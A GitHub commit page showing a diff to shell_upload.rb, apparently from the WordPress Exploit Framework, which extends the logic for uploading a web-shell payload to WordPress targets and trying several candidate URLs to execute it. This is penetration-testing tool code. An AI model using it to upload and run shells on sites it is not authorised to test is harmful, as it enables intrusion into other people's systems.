Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit bbe7595

Browse files
committed
Add support for multiple possible upload locations and upload timestamps
1 parent 92385d3 commit bbe7595

File tree

1 file changed

+35
-5
lines changed

1 file changed

+35
-5
lines changed

lib/wpxf/wordpress/shell_upload.rb

Lines changed: 35 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -51,6 +51,11 @@ def uploaded_payload_location
5151
nil
5252
end
5353

54+
# @return [Array] an array of possible locations that the payload could have been uploaded to.
55+
def possible_payload_upload_locations
56+
nil
57+
end
58+
5459
# Called prior to preparing and uploading the payload.
5560
# @return [Boolean] true if no errors occurred.
5661
def before_upload
@@ -86,12 +91,10 @@ def run
8691
emit_info 'Uploading payload...'
8792
return false unless upload_payload(builder)
8893

89-
payload_url = uploaded_payload_location
90-
return false unless payload_url
91-
emit_success "Uploaded the payload to #{payload_url}", true
92-
9394
emit_info 'Executing the payload...'
94-
execute_payload(payload_url)
95+
validate_and_prepare_upload_locations.each do |payload_url|
96+
break if execute_payload(payload_url)&.code != 404
97+
end
9598

9699
true
97100
end
@@ -103,22 +106,49 @@ def validate_upload_result
103106

104107
# Execute the payload at the specified address.
105108
# @param payload_url [String] the payload URL to access.
109+
# @return [HttpResponse] the HTTP response of the request to the payload URL.
106110
def execute_payload(payload_url)
107111
res = execute_get_request(url: payload_url, cookie: @session_cookie)
108112
emit_success "Result: #{res.body}" if res && res.code == 200 && !res.body.strip.empty?
113+
res
114+
end
115+
116+
# @return [Integer] the number of seconds to adjust the upload timestamp range start and end values by.
117+
def timestamp_range_adjustment_value
118+
10
119+
end
120+
121+
# @return [Array] the range of possible timestamps that could have been used when the payload reached the target.
122+
def upload_timestamp_range
123+
(@start_timestamp - timestamp_range_adjustment_value)..(@end_timestamp + timestamp_range_adjustment_value)
109124
end
110125

111126
private
112127

128+
def validate_and_prepare_upload_locations
129+
payload_urls = possible_payload_upload_locations
130+
return payload_urls unless payload_urls.nil?
131+
132+
payload_url = uploaded_payload_location
133+
return false unless payload_url
134+
135+
emit_success "Uploaded the payload to #{payload_url}", true
136+
[].push(payload_url)
137+
end
138+
113139
def payload_name_length
114140
normalized_option_value('payload_name_length')
115141
end
116142

117143
def upload_payload(builder)
144+
@start_timestamp = Time.now.to_i
145+
118146
builder.create do |body|
119147
@upload_result = execute_post_request(url: uploader_url, params: upload_request_params, body: body, cookie: @session_cookie)
120148
end
121149

150+
@end_timestamp = Time.now.to_i
151+
122152
if @upload_result.nil? || @upload_result.timed_out?
123153
emit_error 'No response from the target'
124154
return false

0 commit comments

Comments
 (0)